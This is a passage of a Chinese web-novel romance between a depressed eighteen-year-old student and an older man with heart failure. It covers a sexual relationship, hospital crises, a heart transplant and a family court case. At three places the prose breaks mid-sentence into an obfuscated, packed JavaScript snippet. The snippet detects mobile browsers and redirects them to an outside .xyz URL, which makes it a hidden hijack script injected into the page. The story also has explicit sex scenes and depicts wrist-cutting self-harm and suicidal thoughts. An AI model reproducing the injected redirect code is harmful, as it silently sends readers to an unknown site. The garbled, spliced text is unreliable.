“我们阳阳本来就很优秀。” 秦南深眼底漾着笑意，语气满是肯定，“在学校遇霸凌，你敢勇敢反击。见姑姑被欺负，你能护着她把姑父打进医院。在受欺凌的时候，也成功保护了自己。更何况，这些都是你一个抑郁症患者做到的，这份韧性，更让人打心底里敬佩。” 他一字一句加重语气：“温昭阳，你真的很棒。” 温昭阳抬头，那一刻，他找到了活下去的希望，原来这个人，真的会散发光芒。 “秦南深……我……” 温昭阳害羞低下头小声说：“我好喜欢你。” 他第一次这样认真的表白，听得秦南深的心软软，男人低头吻住男孩的双唇，又将他轻轻按在床上，挑开唇齿，舌尖钻了进去，边亲边说：“我也喜欢你……很喜欢……” 温昭阳羞涩地回应，也学着他用舌头，最后小脸越来越红。 一吻结束后，温昭阳身体软软地趴在他怀里，小声说：“秦南深……小小秦好像起来了。” 秦南深被他这句话逗笑。 “我是个正常男人。” 温昭阳抬头红着脸问：“你……你心脏这么脆弱，不能情绪太激动吧？” 秦南深疑惑地看着他。 温昭阳突然起身，跑过去把门反锁，然后又小跑了过来。 “我查过两个男人该怎么办……如果你身体可以的话，我帮你好吗？” 秦南深摇头，牵住他的手说：“你乖乖睡觉，我去冷水澡就行。” “不行，你身体这么差，万一感冒了怎么办，我帮你！我可以的！” 温昭阳信誓旦旦道：“你躺着就行，这样不会累。” 秦南深听后，轻轻抬手捂住眼睛，耳根都是热的。 温昭阳躺下来摸索：“我成年了，我是大人。” 秦南深抬头，这小男朋友，太可爱了，他总有种罪恶感怎么回事。 …… 温昭阳确实没有让秦南深出力，低头做到一半时，还拿出手机学习，然后继续试。研究了半小时，明明很聪明的学霸，现在笨笨的。 秦南深打电话，喊林助理去超市买东西，让他送过来。 林助理：做个人吧。 十分钟后，温昭阳拿到几盒东西，这才熟练了起来，但是依旧是对着手机学习。 秦南深没忍住，把他压在了身下。 16.活着 温昭阳中途一直抖，后来结束的时候，整个人晕沉沉的，刚想睡觉，又被翻过来从头再来，最后瘫软在床上，睡死了过去。 他这一觉，睡到了晚上十一点多才醒，迷迷糊糊中有点饿。 温昭阳蠕动了两下，开关突然亮起，秦南深温柔的嗓音在他头顶传来：“醒了，需要吃夜宵吗？” “不……不用，我去洗个澡。” 温昭阳揉了揉脑袋，怎么睡了一天。 秦南深摸了摸他脑袋：“那你去吧，晚饭也没吃，怕你饿了，柜子抽屉里面有小面包。” “嗯……” 温昭阳找了件外套披上，白皙光滑的腿露出的时候，颤了两下，他咬咬牙，缓慢地起身，忽然僵住片刻。 秦南深礼貌问：“我帮你吧。” “不……不用……” 温昭阳急忙推开他的手，硬着头皮下床说：“没事……我挺好的……” 秦南深扬起唇，看见男孩一瘸一拐的步伐，强行挺直后背的时候，手捂在了腰间，走了半天才进卫生间，关门的声音也很轻。 温昭阳把外套挂在衣架上面，打开淋浴冲了下身体，站不住脚，只能蹲下，结果刚弯腰，某个部位一阵刺痛，他又起身趴在墙上休息。 好疼啊…… 秦南深眼下还是个病人，就已经这么厉害，要是换作平时状态，那得多逆天？ 秦南深等了十来分钟，也没看见人出来，又慌张地跑过去敲了敲门。 “阳阳！” 温昭阳打开门，看见穿病号服的男人站在面前，眼神惊恐万分，看见他平安后，才松懈下来。 “怎么啦？” 秦南深突然抱起他，把人放在了床上，低头吻了吻他的唇。 温昭阳喘着气说：“秦南深……你不用担心我一个人再做出伤害自己的事，我想好了，我要为你活着，再也不会干傻事了。” “那就好……” 秦南深帮他揉了揉腰，手往下移：“需要涂点药吗？很疼？” “不用，不疼……” 温昭阳害羞地低头，靠在了他怀里说：“睡觉吧……你心脏怎么样，没事吧？” “还好。” 秦南深将他揽入怀中，紧紧搂着，这一刻，他的责任心更重，也更想活下去。 … 温昭阳又眯了一会儿，医生过来检查的时候，他悄悄地把垃圾桶里的塑料袋系了个结，然后走到走廊外扔进大垃圾桶里。 肖主任刚走到病床边准备检查，秦南深便轻咳了两下。他握着听诊器听了片刻，眉心缓缓拧起，语气带着几分疑惑：“昨天还好好的，频率都稳下来了，今天怎么又乱了套？” 温昭阳站在身后听见这句话，慌张地跑过来：“主任！有什么影响吗？” 肖主任：“肯定有影响的，需要在医院长期接受治疗，直到恢复正常心跳，药物注入太多，对他的其他器官也会有负面作用。” 温昭阳一副不知所措的表情看向秦南深，他不是说没事吗？ 秦南深还在笑：“没事，我突然想吃蓝莓，对面有个超市，你帮我去买点回来吧，我和肖主任聊聊。” “好。” 温昭阳应了声。 温昭阳走到门口，脚步声越来越远，他迟疑了几秒，又缓缓往后退，蹑手蹑脚地贴在门口，想听听他们要聊什么。 秦南深问道：“肖主任，以我的身体现在的情况，如果不做手术能活多久？” “……只能长期住院，在医院进行药物治疗，设备比较先进，控制好情绪，还能撑个一年，在这个时间里，我们可以继续匹配供体。” 肖主任说。 秦南深又问道：“如果做手术，成功率有多少？是不是还有术后感染风险。” 肖主任沉重道：“嗯，手术概率还是挺大的，70％-90％，但是你的情况复杂……因为你是RH阴性血，供体寻找非常困难，拖太久了也会影响手术。” 秦南深闻言，瞳孔骤然黯淡下去，那点仅存的光亮瞬间熄灭。 他缓缓转头望向窗外，眉宇间凝满了化不开的沉郁。 两年光阴，寻遍全国都杳无踪迹，如今只剩最后一年，他还能等到那个渺茫的希望吗？ “相当于绝症了……” 肖主任眉头皱紧，神色凝重，怀着十分沉痛的心说：“倒也不是……起码还有点希望，你注意下身体。” 秦南深低声“嗯”了下，说：“医院太闷，偶尔出去走走也可以吧。” “最好在附近，否则病发的时候，怕错过最佳治疗时期。” “好。” 肖主任准备离开，温昭阳立马往后躲，藏在了墙后，他发抖的拳头已经被攥得通红，指尖深深陷了进去。 温昭阳在原地僵立了许久，脑子里一片空白，直到回过神才慢步走向电梯。 下了楼，他过马路时依旧魂不守舍，脚步都有些虚浮。 等走到医院对面的水果店，指尖刚触到玻璃门，却站在门口发呆，他忘了要买什么。 温昭阳低头蹲下，忽然双手捂住脸大哭起来，肩膀控制不住地一抖一抖。豆大的泪珠从眼角滚落，浸湿了纤长的睫毛，最后一颗颗滴落在深色的衣襟上。 一年…… 如果找不到心脏匹配供体，秦南深只能再活一年。 就算是手术，他的风险也极高。 “为什么……我们到底做错了什么……” - 与此同时，病房小阳台外，秦南深忧心忡忡，枝头有两只小鸟在嬉闹，他失神地望着外面，目光飘忽不定，随后又捂住胸口喘气咳嗽了两声。 他做错了一件事。 他应该以陌生人的方式帮助温昭阳，而不是爱人。 秦南深清楚的明白，温昭阳对他的爱已经很深，所以才会发生关系，他竟然没有拒绝，所以现在后悔了。 他害了一个刚成年的十八岁少年。 他死后，温昭阳可能会陷入一辈子的痛苦里。 吱—— 病房门被推开，温昭阳提着水果进来笑着说：“我刚刚忘了你让我买什么，就买了点香蕉和苹果，还有蓝莓，好像是这个吧？” “买这么多。” 秦南深走了进来。 温昭阳看向他苍白的脸颊，以及不愉快的心情，瞬间明白什么，他也直接开门见山说：“我听到了，秦南深，我不后悔遇见你，如果你只能活一年，我就陪你一年，和你在一起的时光，才是最理想幸福的生活。” 秦南深眼皮垂下，心疼地捧着他的脸说：“哭过？眼睛都红了……阳阳，如果我说，等我死后，忘掉我，能做到吗？” 温昭阳摇了摇头。 秦南深猛地把他揽入怀中，抱得很紧，勒得温昭阳喘不过气。 他从来没有这么害怕死亡过，甚至情绪崩塌，眼眶里溢出层层水雾，泪珠滴在了男孩的肩膀上，他不想死，想和这个男孩生活一辈子。 “阳阳……我突然很怕死……我想活着……” 温昭阳拍了拍他的后肩安抚：“我知道，我们都会好的……秦南深，我是个很幸运的人，或许，万一真的有奇迹发生呢？不要多想，也不用顾虑我，你现在养好身体就行。” “我爱你。” 秦南深闷声道。 他怕这三个字，以后说不出来。 温昭阳愣神片刻，随后扬起唇轻轻地笑，很开心地回答：“我也爱你。” - 几个月后。 立冬，赵功林案件开庭那天，上演了一场过街老鼠人人喊打的画面。 赵功林的原公司告他贪污，人证物证皆在。 温昭阳说他从小就挨过打。赵功林有家暴倾向，喜欢发脾气，导致自己患上抑郁症，甚至动手打老婆。 温昭阳当众撩起上衣，很多人看见他后背有很多密密麻麻的伤疤，是之前用皮带抽破皮的位置，他皮肤很敏感，容易留疤，这些痕迹像是烙印留在了身上。 最终，赵功林知法犯法，贪污、家暴、大金额勒索罪，被宣判有期徒刑十年。 赵功林离开前发疯大吼：“温昭阳！！温兰芝！！如果有一天我出去了！我要弄死你们！！” 最后被法院的人拖走，警告他如果胆敢再犯，会加重刑罚。 温昭阳目光黯然，面无表情道：“十年后……你能不能打得过我还是一回事。” 温兰芝今天没有带两个女儿过来，毕竟这种画面，不想让孩子看见，她走过来抱住温昭阳，两人同时掉下眼泪。 “姑姑……我们彻底解放了……” “嗯，从今以后，咱们也该过上好日子。” 秦南深坐在旁边也很为他们高兴，坏人终究会绳之以法，只是早晚的事情。 外面降温了，寒冬袭来，树枝都结上了冰霜，阴雨天很凉，他们几个人出法院后，秦南深突然捂住胸口，感觉呼吸困难，头晕眼花，险些倒在地上。 温昭阳立马扶住他：“秦南深！怎么了？” 林助理立马过来说：“快！先上车，医生说过不能出来太久，如果感冒容易引起炎症，心脏的压力会更重。” 温昭阳看了眼温兰芝：“姑姑，那你先回去照顾秋秋和落落，我送赵功林去医院。” “好好好，你们先去吧，小心点。我回去接孩子放学，晚上过去找你们。” 温兰芝说。 … 上车后，秦南深无力地倒在温昭阳怀里，痛苦地闭上眼。 沉重的喘息从他唇间溢出，男人浑身的力气仿佛被抽干，胸口的刺疼一阵紧过一阵，冷汗顺着额角滑落，浸湿了鬓边的细发。 他控制不住地颤抖，压抑的痛吟混着急促的呼吸，整个人蜷缩在对方怀中，连指尖都泛着刺骨的凉意。 “好疼……” 温昭阳知道他是个很坚强的人，从来没有在嘴上说过疼，总是笑着说没事，这次说出来，想必真的是变严重了。 “药……不是吃了药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当天晚上，秦南深转入ICU，医生找他签下了病危通知书。 温昭阳就这样在门口守了一夜。 肖主任说秦南深的病情突然恶化，是因为对他愧疚太深，导致每天心事重重，压力，心脏病患者本来就不能有太大的负担，才导致这种结果。 第二天早晨的时候。 温昭阳突然回了趟家。 秦南深的家里空空荡荡，好久没有住人，客厅落了些灰尘，金丝雀还在阳台，它的笼子是开着的，但是小鸟一直没有飞走，里面有很多鸟食。 “叽叽——” 啾啾飞了过来，落在温昭阳的肩膀上，脑袋蹭着他。 温昭阳之前两三天会回来一次，和啾啾玩，没想到它到现在还没走。 “啾啾……你这次真的要学会独立了……” 温昭阳把小鸟装进了口袋里，给它绑了一小袋鸟食，放在它脖子上，然后出门。 金丝雀还以为主人带自己出去玩，很开心地趴在他口袋里睡觉。 温昭阳坐了一个小时的车程，来到郊区公园，这里有个花海，里面有很多小鸟，各种麻雀正在觅食。 他低头亲了亲金丝雀的羽毛，很是不舍，说：“啾啾，快去玩吧。” “叽叽！” 啾啾看见自己的小伙伴也很开心，飞了出去。 温昭阳捂住脸，眼泪再次不争气地掉下来，他转身离开，突然跑得很快，立马钻进了出租车里。 “师傅……麻烦快点开车。” 温昭阳想活下去，但是他后面可能行尸走肉地活着，没办法再给啾啾快乐，或许某天会忘记喂它、忘记关心它、忘记给它水…… 他不知道自己以后会不会精神失常，控制不住行为，伤害到它。 所以，他把小鸟放飞了，让它去拥抱大自然，体验新的快乐生活。 然而温昭阳不知道的是。 金丝雀和小麻雀们一起飞来飞去游玩，仅仅只是几分钟，它就想起了主人，往后看的时候，空无一人。 “叽叽——” 金丝雀飞到树枝上，小小的脑袋左顾右盼，似乎在寻找主人的身影，在它的心里，主人的位置已经超越了玩伴。 万物皆有灵。 …… 一小时后。 温昭阳来到医院，继续守在病房门口，玩弄着秦南深的手机。 他的备忘录，全是自己喜欢吃的菜、食物、爱好。 他甚至记下每个品牌抗抑郁药的不同效果，哪个卖的最好，效果最佳，私信里都是到处咨询心理医生。 “我何德何能……” 温昭阳眼泪不停地掉，他点开通讯录，擅自做了个决定。 毕竟是亲生儿子，现在不能再继续隐瞒母亲了。 温昭阳联系了秦南深的妈妈。 … 第三天，秦南深从ICU醒来时，病情总算暂时稳住，被转入了普通病房。 他浑身布满粗细不一的管线，一端连着监测生命体征的仪器，屏幕上跳动的数字映着他苍白的脸。 男人阖着眸，鼻翼下插着细长的氧气管，每一次微弱的呼吸，似乎只能依赖着设备支撑着，连抬手的力气都没有，整个人陷在病床上，透着一股脆弱的无力感。 17.幸运 秦南深是在正午的微光里醒过来的，睁眼便看见病房里站着很多人，一时愣在原地，眸底满是诧异。 两秒的空白后，混沌的意识才慢慢回笼，他动了动指尖，触到床单的凉意，才后知后觉地反应过来。 原来自己，还活着。 温兰芝、温昭阳、秋秋和落落两个小朋友也在，坐在身旁的，是他的母亲，不知道是不是想见他最后一面。 “妈……” 秦南深沉重地呼吸了片刻。 廖桂月白发苍苍，肤色微黄，脸上布满岁月的皱纹，五官眉眼生得精致，却很瘦身上都是骨头，她接到电话时，一夜之间又白了一片发丝。 女人常年生活在乡下，普通话都讲不标准，以为儿子在城市享福，哪里晓得这次见面，竟然险些白发人送黑发人。 “南南啊……” 廖桂月紧紧攥住他的：“我是你妈妈，为什么这么重要的事情，连我都要隐瞒……你父亲因为心脏病去世，我就一直嘱咐让你体检，有什么状况及时告诉我，为什么不听妈的？” “妈，我怕您长期操心劳累，受不住这消息……” 秦南深牵住她的手说：“我知道错了……您身体还好吗？” 温昭阳在身后说：“阿姨是我派人亲自过去接的，中途晕倒过两次。来到医院后控制了病情，我和她说，如果她都出事了，你心脏肯定承受不住这消息，她才抗了下来。” 廖桂月抹去眼泪说：“……傻孩子，你晓不晓得，妈妈有多担心，多心痛，你爹走得早……把你交给我，我也带好你，让你一个人在这受苦……” “我没事……” 秦南深捂住胸口，缓缓抬手说：“阳阳，过来。” 温昭阳走了过来。 秦南深忽然牵住他的手，男孩大惊失色，他低声虚弱地说：“妈，姑姑，妹妹也在这，我就把话说明白……我这身体撑不了多久，但是还是想告诉你们一件事，不想刻意隐瞒。” “我性取向……一直都是喜欢男孩，阳阳是我男朋友。姑姑，对不起，是我害了他。” 温兰芝并没有太惊讶的表情，倒是两个小女孩欢呼。 “哇！那太棒了！” “等秦哥哥病好了，我们就有两个哥哥！” 温兰芝低声道：“你们的事……我几个月前就知道了，医院的护士、前台，舆论那么多，隔壁住院的都在八卦你们的事，我只是装作没看见，省得都尴尬。” 温昭阳愕然抬头：“姑姑……” 廖桂月也面无表情道：“这事，阳阳在路上已经和我说了，我才被气晕过去两次，在咱们村里……你这种事实在丢人现眼，但是……南南，人活着才最重要，脸面哪有性命重要？你要好好活着，才能和自己喜欢的人在一起。” 秦南深瞳孔骤缩，他惊讶地看向病房的人，她们竟然都没有反驳，本来已经打算做好挨骂的准备，这倒是让他大开眼界。 温昭阳将床头上方的输液管抬起来，从兜里拿出一枚铂金钻戒戴在了男人的无名指上。 “秦南深，医生说过，只要你能醒来，就能靠仪器设备活着，我上次找了记者，报道也很多，现在全国都在寻找匹配你心脏的供体，你一定要坚持，坚持到最后做手术的时间，好吗？” 秦南深看见无名指上的戒指，重重地咳嗽了两声问：“……这是求婚吗？这种事，应该是我给你准备……” 温昭阳牵住他的手，放在脸上说：“妈妈和姑姑都同意我们的感情，所以我向你求婚也可以，在你昏迷的期间，我和她们聊了很多……我说过，就算是不同意，你出了什么事，我也会陪你一起离开。” “秦南深，你就是我的全世界。” 温兰芝和廖桂月带着两个女孩出去聊天，给他们多余的空间，她们很清楚，这两个小苦瓜，如果再阻拦他们的爱情，这俩孩子哪里还有毅力活下去。 一个心脏病，一个重度抑郁，他们应该互相救赎，天生一对。 没有什么比生命更重要。 温昭阳帮他把脸颊侧边的氧气管摆正，又说：“你现在身体虚弱，不能被感染，我就不亲你了，醒来后的惊喜，开心吗？” “开心……” 秦南深快开心死了，他咳嗽两声，捂住胸口说：“我感觉已经快兴奋过度。” 温昭阳看见心电图频率突然变乱，瞬间慌张道：“放松，放松！我让你开心……是想让你保持心情愉快，继续坚持下去，不是立马送你走啊！” 秦南深被他逗笑，虚弱地回应道：“我会坚持的……我也想活下去……” 温昭阳低头亲了亲他的手指，咬了下说：“你真自私，竟然想让我忘记你，秦南深，你睡了我，就要对我负责。我已经把啾啾放走了，如果你有什么不测，我活着也是行尸走肉……我担心自己控制不住，哪天神不知鬼不觉的死了，小鸟也没人养。” 秦南深摸着他的头，如果他是个正常人，或许还能坚持，偏偏抑郁症还没有好，想让他好好活着确实太难了…… “啾啾是你最喜欢的宠物，你舍得？” “自从我抑郁症频繁发作后……我就不想养它，我怕万一你有什么好歹，我发疯死在家里，被啾啾看到，小鸟该有多难过。” 秦南深叹了口气，无力道：“我浑身没劲……你过来，躺我身边。” 温昭阳摇头：“不行，你身上细管太多，我怕会碰到。” 秦南深：“没事，稍微躺下，我说话有点吃力，想安静地看看你。” 温昭阳听后，往左边稍微躺了点，脚放在床边，两个人面对面睡着，四目相视，眼里只有彼此。 秦南深笑了笑：“你真好看。” 温昭阳：“你更好看。” 他们心里在想，真幼稚，病成这样，还在床上躺着比谁好看。 秦南深闭上眼，说：“阳阳，我突然释怀了，与其让你忘记，还不如遵守你的本能，活着开心才是最重要的，而不是去拥有痛苦。” 温昭阳将手放在他腰间，也闭上眼低声说：“因为我爱你，我很爱你，秦南深，你是个很好很好的人，老天爷会保佑你的。” 秦南深敲了敲他的额头，缓缓扬起唇，轻声问道：“我昏迷的这三天，你没做什么傻事吧？” 温昭阳老老实实地伸出手，把袖子拉起来说：“昨天洗澡的时候，玻璃高温后炸了。看见那些玻璃碎片，我就忍不住想伤害自己，把手腕划了一点，结果瞬间清醒了，想到你，想到秦南深这三个字，我就告诉自己，一定要活下去。” 秦南深轻轻抚摸他的手腕，有一道很浅的伤口微微破皮，两天就能恢复。 他明白了，抗抑郁的药治根不治本，他才是温昭阳活下来的毅力。 — 之后的几日，尽管秦南深的母亲专程前来，他也不愿让长辈劳心费神，始终亲自照料秦南深。 从为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298156|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他擦拭身体、更换衣物，到夜里轻手轻脚地守在身旁入眠，事事亲力亲为，不曾交给任何人照顾。 秦南深瞧着他这般辛苦，心里总不是滋味，明明有钱允许请护工代劳，便忍不住劝他。 可温昭阳只是温声回应，说自己就想守在他身边，这些事都是心甘情愿为他做的，半点不觉得累。 这天。 秦南深稍微恢复了点体力，想自己吃饭时，温昭阳把碗筷端过来，还是说：“你躺着就行，我喂你。” “噗……” 秦南深无奈道：“阳阳，你才是年龄小的那个，怎么像是把我当三岁小孩？” 温昭阳舀了下汤，递到他唇边说：“你不是浑身乏力吗？先活动活动，我怕你没拿住碗，烫了自己。” “真是挺丢人呢。” 秦南深张嘴，艰难地坐起来说：“这些软管今天应该可以撤掉……我想出去走走，太闷了。” “好，我待会推你下去走走。” 温昭阳说。 心脏功能减退让秦南深的泵血能力大不如前，组织器官供血不足的问题，直接导致平时浑身乏力，就连日常走路，对他而言都成了吃力的事。可温昭阳从未过半句提及他的病，脸上更无一丝嫌弃，反倒总像个乖巧的影子，安安静静陪在他身边。 温昭阳搀扶着他坐在轮椅上，推到医院后花园逛了两圈，来到湖边的时候，秦南深想站起来。 “小心点。” 温昭阳搀扶着他起身，用围巾给他裹得严严实实，牵着他在湖边凉亭坐下。 秦南深看向平静的湖边，闭上眼感受大自然的气息：“还是外面舒服，病房里总是能闻到药味。” 温昭阳靠在他肩膀上：“那我以后每天带你出来走走。” 秦南深微微侧头，捧住男孩的脸颊，俯身凑过去，吻落在了他的唇前，轻咬着他的舌尖，用力掠过唇齿间的每处美景，最后又化作轻柔的细啄。 “呼……” 温昭阳喘了口气。 秦南深亲了亲他的脸颊：“阳阳……对不起，你的十九岁生日我恐怕没法陪你过了……还耽误你这么长时间。” 温昭阳最近像泪失禁似的，总是忍不住掉眼泪，此时的眼眶更是水珠溢出，又流了下来。 “我说过，从来不后悔认识你，秦南深，我会每天好好吃药、好好活着，除非我真的坚持不下去了……我也会照顾你的母亲，我要有担当的责任。” 秦南深心疼地捧住他的脸颊，将男孩紧紧搂在怀里：“遇到你，是我最幸运的事，我死而无憾。” 温昭阳埋在他怀里哭，双手和他十字相扣，肩膀一抖一抖的，哭得撕心裂肺，恨不得自己来承受这些痛苦。 秦南深低声咳嗽了两下，捂住胸口缓慢喘气，安静地倚靠在男孩肩膀上，眼皮轻轻地垂下，像是睡着了。 “温昭阳！！” 林助理突然跑过来说：“肖主任得到消息！秦总的心脏供体已经找到了，现在正在从外省运输过来！我们立刻回去准备手术！！” 温昭阳愕然抬头，眼角弯了起来，搀扶着男人激动地说道：“秦南深！秦南深你听到了吗？？你醒醒……再坚持下，坚持下……你说过要陪我的……” “秦南深，不要睡了，睁开眼看看我……看看你的全世界。” 温昭阳的吻轻落时，秦南深的睫羽缓缓颤动，眼皮掀开的瞬间，他便轻微张开唇，温顺地迎了上去。 …… 18.舒服 医院。 手术室门外，温昭阳静静地坐在长椅上，等了几个小时。廖桂月跪在走廊边缘，双手合十祈求着上天，嘴里不知在念叨什么，希望保佑他儿子手术顺利完成。 温兰芝坐在温昭阳身旁，怕他情绪不稳定，做出伤害自己的事，一直揽着他肩膀安抚。 林助理站在手术室门口，时不时看向手表，已经四个多小时了。 温昭阳捂住脑袋，因为情绪压力过大，头有点晕沉沉的，眼前的视线也变得模糊，却还是咬着牙坚持着。 “阳阳，你要是坚持不住，就躺我怀里睡会儿，手术结束后我喊你起来。” 温兰芝说。 “不……不行……我要等他出来……” 温昭阳摇了摇头，他的指甲掐紧手掌心，颤抖着从兜里拿出一瓶药，倒在嘴里咽下，干咳了半天。 温兰芝找到护士站拿一次性杯子，接了点温水过来，温昭阳捧着杯子喝下，喉咙里的苦涩才稍微褪了些。 两小时后。 手术室的灯忽然灭了。 温昭阳只觉腿间一阵发麻，却始终没敢上前询问。这时廖桂月已快步跑过去打听情况，他听不清医生的答复，只远远望见女人脸上渐渐绽开安心的笑。 “谢谢医生！真是太感谢医生了……肖主任！你是咱们家的恩人……” 温昭阳听后，悬着的心终于放下，他松开拳头的时候，手掌心都被指甲戳破了皮，原来幸运也会眷顾他，秦南深终于不用再受病痛的折磨了。 - 三天后。 病房门内很静，秦南深戴着氧气罩，意识回笼时缓缓睁开眼。 视线里，男孩正守在床边，趴在病床边缘睡得安稳，一只温热的手还轻轻贴在他的手腕上。 那瞬间，秦南深在心里郑重发誓，这辈子，一定要护好这个男孩。 秦南深轻轻抽出手指，抚摸男孩的脸庞，指尖捋了捋他稀碎的刘海，瘦了很多，看起来也没精神，一定为他的事操了不少心。 温昭阳感觉到有人在摸他，睁开眼时，立马激动道：“秦南深你醒了！我去喊医生过来！” … 肖主任过来检查完，安排护士可以撤掉氧气面罩，不需要再靠设备灌输药物治疗，每天打两瓶点滴，手术非常成功，现在就是静养。 温昭阳松了口气，他又问：“主任，心脏移植后，会不会有很多副作用？” 肖主任回答：“还好，捐赠者年龄偏小，出车祸身亡后，各器官检查过都是完温兰芝好无损，和秦南深的各项指标都吻合。现在史上活得最久的心脏病手术移植患者，有三十多年的，秦总身体其他器官都很健康，吉人自有天相。” 温昭阳俯身低头道谢：“嗯……感谢您，改天我一定好好登门道谢，感谢捐赠者的家属，你们都辛苦了。” “好，那你在这陪他，饮食注意清淡，伤口按时处理换药，咱们先出去了。” 秦南深看他紧张的模样，嘴角缓缓扬起，低声道：“阳阳，别操心了……看你这几天，都憔悴成什么样，过来休息会儿。” 温昭阳来到他身边坐下，低头吻了吻他的手背，轻声说：“你知不知道，我这几天一直心惊胆战，险些抑郁症发作，每天靠药物压下，只要想到你，我就在说服自己，坚持，一定要坚持下去……” “秦南深，我们终于可以永远在一起了。” 秦南深微微抬头，牵住他的手说：“那你以后，还会想着自杀吗？” 温昭阳迅速摇头，脑袋像拨浪鼓似的：“我再也不想死了！我要陪你、照顾你、回报你，还要给你很多很多的爱……因为我喜欢你，所以不想死，心里有爱有挂念，就会想活着。” 秦南深温柔笑了笑，他紧紧攥住男孩的手，十分感动，说：“温昭阳，我爱你。” 谢谢你，给我生命带来了希望。 老天眷顾他们，将两个可怜的人安排到一起，互相救赎，帮助对方，彼此之间共同度过了难关。 … 一周后。 秦南深终于能下地走路，晚上六点多的时候，温昭阳像平日里一样，把买来的饭菜放在旁边，拿出勺子喂他。 因为开胸手术会牵扯到筋骨，动作幅度太大左边胳膊很疼，这段时间一直都是温昭阳喂他吃饭。 温昭阳端着碗用勺子舀了舀汤顺：“来，今天有你喜欢喝的鲫鱼汤，还是你妈妈做的，味道很鲜美。这个鸡蛋羹和排骨汤，是我姑姑做的，你啊，现在别提多幸福，两个女人都抢着给你做饭。” 秦南深低头看向递过来的勺子，张嘴咽下，光是看见温昭阳，他都觉得开心得不行。 男人吃完饭，温昭阳给他擦了擦住，他才说：“阳阳，拖累你这么久，你也该回学校上课了。从明天起，别来医院，请护工就可以，我现在能下床，我妈每天也会来看我。” 温昭阳立马变了脸色，愕然地看着他：“为什么……是我照顾得不好吗？我想在你身边，其他人我都不放心。” “当然不是。” 秦南深捧着男孩的脸，心疼道：“你在医院劳累这么久，天天给我擦身体、喂我吃饭、服侍我上厕所，我看在眼里也很心疼，你还有学业，课程不能落下太多，医生也说过，如果我心情不好，对伤口恢复也会有影响，我想你轻松一点。” 温昭阳恍惚片刻，然后才点点头：“好……那我明天开始去学校，放学后过来，如果你有什么不舒服的地方，一定要告诉我。” “嗯，这才乖，学校如果还有人霸凌你，告诉我，我让林助理去解决。” “好。” 秦南深伸出手：“扶我起来，我想洗澡，老是擦身体，洗不干净，身上难受得很。” “那你慢点，伤口不能碰水，防止感染。” 温昭阳搀着他下床，又嘀咕道：“我每次都放了点沐浴露，擦了好几遍，应该不会难受啊。” “哪有水洗舒服。” 温昭阳来到卫生间，VIP病房的浴室很宽敞，地砖干干净净，为了方便沐浴，他买的是一种折叠的长方形浴桶，打开后很结实，放满水也能保温。 “你慢点，地面有点滑。” 秦南深忽然从背后抱住他，低声说：“一起洗，好不好。” “不太好吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319357|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 温昭阳刹那间脸色涨红。 秦南深低头用下巴蹭了蹭他的脸颊，问：“你这段时间，可是一直都在看我的身体，轮到我了，不愿意吗？” “当然不是……” “那好吧。” 温昭阳放好了温水，深度差不多能淹没到腰身，空间也足够两个人坐下，和普通浴缸差不多，稍微小一点点，开始秦南深一直盯着他，不好意思脱衣服。 秦南深扭过头说：“我不看。” 温昭阳看见他后背，宽肩往下两边是利落的背线，不算宽厚却很舒展，他愣了片刻，才把衣服脱掉，赤着脚跨进浴桶里。 秦南深忽然搂住他。 “唔……你别碰我，好痒。” 秦南深摸向男孩的小腹，低声说：“身材真好，腰也很柔软。” 温昭阳怕碰到他伤口，也不敢乱动，然后又被抱到怀里，两人肌肤贴合，彼此能感受到对方的体温。 秦南深闭上眼，脑袋搁在他肩膀上：“真舒服，阳阳长得真白。” “我帮你洗澡吧，你别把水弄到纱布上面去了。” 温昭阳挤了点沐浴露，抹在他身上。 秦南深喉结上下滚了滚，男孩的手很软，差点把持不住。胸前的纱布很厚，水的深度刚好没入腰腹，洗澡的时候坐着也很方便。 “阳阳……” 温昭阳瞪着他：“不许想其他的！别动，老老实实坐着。” 秦南深泄气，只能一动不动，搓了半天后，他又悄悄凑过去，亲了亲男孩的脸，摸向他的某个部位。 “呃……” 温昭阳稍微挣扎，听见秦南深疼得嘶了声，他立马就不敢动了。 “你没事吧……” “不碍事。” “松手……这样不好。” “不舒服吗？” 温昭阳没有否认，他趴在男人怀里，避开他胸前的伤口，整个人发出急促的喘息声，舒服，很舒服…… — 很快，住院的这段时间转瞬即逝，温昭阳上学后，只有晚上来医院，秦南深术后恢复效果很好，一天比一天精神，他心里也很高兴。 两个月后。 温昭阳一如既往地收拾书包，从教室离开，今天是秦南深出院的日子，要过去接他，买点鲜花吧。 这时，他听到身后有议论声。 “听说没，温昭阳好像是那啥。” “什么啊。” “喜欢男人，之前史昼那事，就是得罪了他男朋友。” 温昭阳听后，并没有像以前那样害怕生气，而是淡定从容，他转身走过去问：“你们在说我？” 那三个同学有点心虚地准备离开。 温昭阳喊住他们，满脸笑容：“大家都是成年人了，不管是喜欢谁，这也是我的恋爱自由，喜欢男的又怎么样，碍着你们什么事了吗？” 他同学被怼得哑口无言。 温昭阳翻了个白眼，转身背着书包离开。 这一次，他不会退缩，也不会害怕逃避，更不会被骂几句情绪低落。 他想好好活着。 19.回笼 